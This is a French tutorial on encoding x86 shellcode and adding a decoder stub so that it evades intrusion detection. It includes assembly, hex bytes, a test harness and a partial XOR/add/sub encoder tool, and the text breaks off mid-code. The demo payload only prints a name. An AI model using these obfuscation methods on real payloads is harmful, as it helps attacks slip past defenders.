Title: How to create a polymorphic shellcode ? Author: Jonathan Salwan Web: http://www.shell-storm.org/ | http://twitter.com/shell_storm Date: 2010-06-14 Language: French Original version: http://howto.shell-storm.org/files/howto-2.php I - Présentation du polymorphisme ================================== Le mot polymorphisme vient du grec et signifie plusieurs formes. Ce terme a été employé en informatique pour la première fois par un pirate bulgare portant le pseudonyme Dark Avenger, ce dernier ayant créé en 1992 le premier virus polymorphique. L'objectif du code polymorphique est d'éviter la détection tout en s'adaptant aux modèles, c'est-à-dire à certains traits caractéristiques permettant d'identifier un code donné. Le polymorphisme est utilisé dans les shellcodes pour camoufler les attaques sur un réseau. Il est vrai que de nos jours les IDS (Intrusion Detection System) répertorient la plupart des structures de shellcodes. (exemple: push /bin/sh, etc...). C'est pourquoi le polymorphisme permet de passer outre cette détection. II - Structure d'un shellcode polymorphique =========================================== Pour éviter les détections notre shellcode devra être encodé mais pour qu'il fonctionne correctement nous devons lui ajouter un décodeur. La structure sera comme ci-dessous: +------------+--------------------+ | DECODEUR | SHELLCODE ENCODE | +------------+--------------------+ <--Notre shellcode polymorphique--> Prenons par exemple le shellcode présenté dans le Howto n1 (_write) xor %eax,%eax xor %ebx,%ebx xor %ecx,%ecx xor %edx,%edx movb $0x9,%dl pushl $0x0a push $0x6e616874 push $0x616e6f6a movl %esp,%ecx movb $0x1,%bl movb $0x4,%al int $0x80 xor %ebx,%ebx movb $0x1,%al int $0x80 En hexadecimal ce shellcode donne: "\x31\xc0\x31\xdb\x31\xc9" "\x31\xd2\xb2\x09\x6a\x0a" "\x68\x74\x68\x61\x6e\x68" "\x6a\x6f\x6e\x61\x89\xe1" "\xb3\x01\xb0\x04\xcd\x80" "\x31\xdb\xb0\x01\xcd\x80" Ok, maintenant imaginons que notre IDS est programmé pour détecter cette suite d'instruction. Nous allons donc devoir l'encoder, pour ça commencons par incrémenter de 1 notre shellcode. Ce qui va donner: "\x32\xc1\x32\xdc\x32\xca" "\x32\xd3\xb3\x0a\x6b\x0b" "\x69\x75\x69\x62\x6f\x69" "\x6b\x70\x6f\x62\x8a\xe2" "\xb4\x02\xb1\x05\xce\x81" "\x32\xdc\xb1\x02\xce\x81" Une fois notre shellcode encodé nous devons lui rajouter le décodeur, comme vous l'avez sûrement compris, le décodeur devra décrémenter de 1 notre suite d'instrution. Voici les sources d'un décodeur BITS 32 jmp short three one: pop esi xor ecx, ecx mov cl, 36 ; On place dans %cl la taille de notre shellcode two: sub byte [esi + ecx -1 ], 0 ; on décrémente de 1 notre chaîne sub cl,1 ; on décrémente de 1 la taille de la chaîne jnz two ; on test si %cl est à 0 (si c'est la fin de notre chaîne) jmp short four ; si c'est le cas on sort de la boucle three: call one four: Compilons notre décodeur: jonathan@ArchLinux [test]$ nasm -f elf decodeur.s jonathan@ArchLinux [test]$ ls decodeur.o decodeur.s jonathan@ArchLinux [test]$ ld -o decodeur decodeur.o ld: warning: cannot find entry symbol _start; defaulting to 08048060 jonathan@ArchLinux [test]$ objdump -d decodeur main: file format elf32-i386 Disassembly of section .text: 08048060 : 8048060: eb 11 jmp 8048073 08048062 : 8048062: 5e pop %esi 8048063: 31 c9 xor %ecx,%ecx 8048065: b1 24 mov $0x24,%cl 08048067 : 8048067: 80 6c 0e ff 00 subb $0x0,-0x1(%esi,%ecx,1) 804806c: 80 e9 01 sub $0x1,%cl 804806f: 75 f6 jne 8048067 8048071: eb 05 jmp 8048078 08048073 : 8048073: e8 ea ff ff ff call 8048062 Maintenant rajoutons notre décodeur au shellcode déjà encodé: #include char SC[] = //Décodeur "\xeb\x11\x5e\x31\xc9\xb1\x24\x80" "\x6c\x0e\xff\x01\x80\xe9\x01\x75" "\xf6\xeb\x05\xe8\xea\xff\xff\xff" //Shellcode encodé "\x32\xc1\x32\xdc\x32\xca\x32\xd3" "\xb3\x0a\x6b\x0b\x69\x75\x69\x62" "\x6f\x69\x6b\x70\x6f\x62\x8a\xe2" "\xb4\x02\xb1\x05\xce\x81\x32\xdc" "\xb1\x02\xce\x81"; int main(void) { printf("Length: %d\n",strlen(SC)); (*(void(*)()) SC)(); } Testons notre shellcode polymorphique jonathan@ArchLinux [test]$ cat main.c #include char SC[] = //Décodeur "\xeb\x11\x5e\x31\xc9\xb1\x24\x80" "\x6c\x0e\xff\x01\x80\xe9\x01\x75" "\xf6\xeb\x05\xe8\xea\xff\xff\xff" //Shellcode encodé "\x32\xc1\x32\xdc\x32\xca\x32\xd3" "\xb3\x0a\x6b\x0b\x69\x75\x69\x62" "\x6f\x69\x6b\x70\x6f\x62\x8a\xe2" "\xb4\x02\xb1\x05\xce\x81\x32\xdc" "\xb1\x02\xce\x81"; int main(void) { printf("Length: %d\n",strlen(SC)); (*(void(*)()) SC)(); } jonathan@ArchLinux [test]$ gcc -o main main.c main.c: In function 'main': main.c:17:31: warning: incompatible implicit declaration of built-in function 'strlen' jonathan@ArchLinux [test]$ ./main Length: 60 jonathan jonathan@ArchLinux [test]$ Et voilà notre shellcode a été executé sans aucun problème avec une taille de 60 bytes. Il existe plusieurs types d'encodage pour camoufler votre shellcode les principaux sont: - Addition - Soustraction - Xor Après il vous est possible de créer votre propre algorythme pour encoder vos shellcodes. III - Extras ============ Je ne vous cache pas que c'est long et chiant d'encoder des shellcode, c'est pourquoi dans cette section je vais vous laisser un outil qui vous facilitera la vie. /* Writed by Jonathan Salwan - shell-storm.org Original source: http://www.shell-storm.org/shellcode/files/shellcode-649.php */ #include #include unsigned char your_SC[] = "\x31\xc0\x31\xdb\x31\xc9" "\x31\xd2\xb2\x09\x6a\x0a" "\x68\x74\x68\x61\x6e\x68" "\x6a\x6f\x6e\x61\x89\xe1" "\xb3\x01\xb0\x04\xcd\x80" "\x31\xdb\xb0\x01\xcd\x80"; void syntax(void) { fprintf(stdout,"\nSyntax: ./encode \n\n"); fprintf(stdout,"Type: -xor\n"); fprintf(stdout," -add\n"); fprintf(stdout," -sub\n\n"); fprintf(stdout,"Exemple: ./encode -xor 10\n\n"); exit(1); } int main(int argc, char *argv[]) { if(argc != 3){ syntax(); return 1; } if(!strcmp(argv[1], "-xor")) { fprintf(stdout,"Encode : XOR %s\n", argv[2]); fprintf(stdout,"Encoded: \n"); fprintf(stdout,"\\xeb\\x11\\x5e\\x31\\xc9\\xb1\\x%x\\x80" "\\x74\\x0e\\xff\\x%.2x\\x80\\xe9\\x01\\x75" "\\xf6\\xeb\\x05\\xe8\\xea\\xff\\xff\\xff" ,strlen(your_SC), atoi(argv[2])); for (int i=0;i